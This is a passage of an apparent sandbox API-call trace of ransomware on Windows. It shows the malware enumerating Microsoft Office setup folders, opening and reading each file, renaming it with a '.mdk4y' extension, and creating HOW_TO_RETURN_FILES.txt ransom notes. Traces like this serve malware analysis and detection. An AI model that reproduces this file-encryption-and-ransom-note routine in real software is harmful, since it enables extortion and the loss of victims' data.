Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.mdk4y")) returned 1 [0108.017] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.017] AreFileApisANSI () returned 1 [0108.017] GetACP () returned 0x4e4 [0108.017] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OfficeMUISet.XML", cchWideChar=16, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="OfficeMUISet.XMLoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpUsedDefaultChar=0x37de34) returned 16 [0108.017] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818324700000) returned 1 [0108.017] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x333, lpOverlapped=0x0) returned 1 [0108.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818327700000) returned 1 [0108.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818327700000) returned 1 [0108.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.mdk4y")) returned 1 [0108.048] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.048] AreFileApisANSI () returned 1 [0108.048] GetACP () returned 0x4e4 [0108.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSETUPUI.DLL", cchWideChar=12, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="OSETUPUI.DLL.XML", lpUsedDefaultChar=0x37de34) returned 12 [0108.048] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.049] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818327900000) returned 1 [0108.049] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x2ed80, lpOverlapped=0x0) returned 1 [0108.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818335200000) returned 1 [0108.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818335200000) returned 1 [0108.124] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.mdk4y")) returned 1 [0108.125] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.125] AreFileApisANSI () returned 1 [0108.125] GetACP () returned 0x4e4 [0108.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="promointl.dll", cchWideChar=13, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="promointl.dllXML", lpUsedDefaultChar=0x37de34) returned 13 [0108.125] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.125] AreFileApisANSI () returned 1 [0108.125] GetACP () returned 0x4e4 [0108.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSCONFIG.CHM", cchWideChar=12, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="PSCONFIG.CHMl", lpUsedDefaultChar=0x37de34) returned 12 [0108.125] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818335600000) returned 1 [0108.126] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x9339, lpOverlapped=0x0) returned 1 [0108.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818336600000) returned 1 [0108.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818336600000) returned 1 [0108.137] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.mdk4y")) returned 1 [0108.138] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.138] AreFileApisANSI () returned 1 [0108.138] GetACP () returned 0x4e4 [0108.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSS10O.CHM", cchWideChar=10, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="PSS10O.CHMHM", lpUsedDefaultChar=0x37de34) returned 10 [0108.138] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818336800000) returned 1 [0108.138] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x6931, lpOverlapped=0x0) returned 1 [0108.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818337300000) returned 1 [0108.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818337300000) returned 1 [0108.144] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.mdk4y")) returned 1 [0108.145] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.145] AreFileApisANSI () returned 1 [0108.145] GetACP () returned 0x4e4 [0108.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PSS10R.CHM", cchWideChar=10, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="PSS10R.CHM", lpUsedDefaultChar=0x37de34) returned 10 [0108.145] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818337600000) returned 1 [0108.146] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x6a3b, lpOverlapped=0x0) returned 1 [0108.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818337800000) returned 1 [0108.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818337800000) returned 1 [0108.149] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.mdk4y")) returned 1 [0108.149] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.149] AreFileApisANSI () returned 1 [0108.149] GetACP () returned 0x4e4 [0108.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.CHM", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.CHMM", lpUsedDefaultChar=0x37de34) returned 9 [0108.150] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818338100000) returned 1 [0108.151] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x10676, lpOverlapped=0x0) returned 1 [0108.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818348900000) returned 1 [0108.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818349000000) returned 1 [0108.260] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.mdk4y")) returned 1 [0108.261] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.261] AreFileApisANSI () returned 1 [0108.261] GetACP () returned 0x4e4 [0108.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XML", lpUsedDefaultChar=0x37de34) returned 9 [0108.261] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818349100000) returned 1 [0108.261] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x2488, lpOverlapped=0x0) returned 1 [0108.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818367900000) returned 1 [0108.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818367900000) returned 1 [0108.449] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.mdk4y")) returned 1 [0108.450] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0108.450] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0108.450] AreFileApisANSI () returned 1 [0108.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 117 [0108.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0108.450] GetFileType (hFile=0x13c) returned 0x1 [0108.451] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0108.451] AreFileApisANSI () returned 1 [0108.451] GetACP () returned 0x4e4 [0108.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32.en-us", cchWideChar=14, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Office32.en-us", lpUsedDefaultChar=0x37dec0) returned 14 [0108.451] AreFileApisANSI () returned 1 [0108.451] GetACP () returned 0x4e4 [0108.451] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=95, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\h") returned 95 [0108.452] AreFileApisANSI () returned 1 [0108.452] GetACP () returned 0x4e4 [0108.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\", lpUsedDefaultChar=0x37de34) returned 1 [0108.452] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.452] AreFileApisANSI () returned 1 [0108.452] GetACP () returned 0x4e4 [0108.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\", lpUsedDefaultChar=0x37de34) returned 2 [0108.452] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.452] AreFileApisANSI () returned 1 [0108.452] GetACP () returned 0x4e4 [0108.452] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32MUI.XML", cchWideChar=15, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Office32MUI.XMLsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\", lpUsedDefaultChar=0x37de34) returned 15 [0108.453] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.453] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818368300000) returned 1 [0108.453] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x567, lpOverlapped=0x0) returned 1 [0108.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818374700000) returned 1 [0108.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818374700000) returned 1 [0108.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.mdk4y")) returned 1 [0108.518] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.518] AreFileApisANSI () returned 1 [0108.518] GetACP () returned 0x4e4 [0108.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLUI.XML", lpUsedDefaultChar=0x37de34) returned 9 [0108.518] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818374800000) returned 1 [0108.518] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x93a, lpOverlapped=0x0) returned 1 [0108.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818377000000) returned 1 [0108.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818377000000) returned 1 [0108.541] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.mdk4y")) returned 1 [0108.545] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0108.545] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0108.545] AreFileApisANSI () returned 1 [0108.545] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 119 [0108.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0108.552] GetFileType (hFile=0x13c) returned 0x1 [0108.553] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0108.553] AreFileApisANSI () returned 1 [0108.553] GetACP () returned 0x4e4 [0108.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32.WW", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Office32.WW-us", lpUsedDefaultChar=0x37dec0) returned 11 [0108.553] AreFileApisANSI () returned 1 [0108.553] GetACP () returned 0x4e4 [0108.553] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=92, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\") returned 92 [0108.554] AreFileApisANSI () returned 1 [0108.554] GetACP () returned 0x4e4 [0108.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\", lpUsedDefaultChar=0x37de34) returned 1 [0108.554] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.554] AreFileApisANSI () returned 1 [0108.554] GetACP () returned 0x4e4 [0108.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\", lpUsedDefaultChar=0x37de34) returned 2 [0108.554] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.554] AreFileApisANSI () returned 1 [0108.554] GetACP () returned 0x4e4 [0108.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32WW.XML", cchWideChar=14, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Office32WW.XMLosoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\", lpUsedDefaultChar=0x37de34) returned 14 [0108.555] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818378500000) returned 1 [0108.555] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x10b2, lpOverlapped=0x0) returned 1 [0108.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818384100000) returned 1 [0108.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818384100000) returned 1 [0108.612] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.mdk4y" 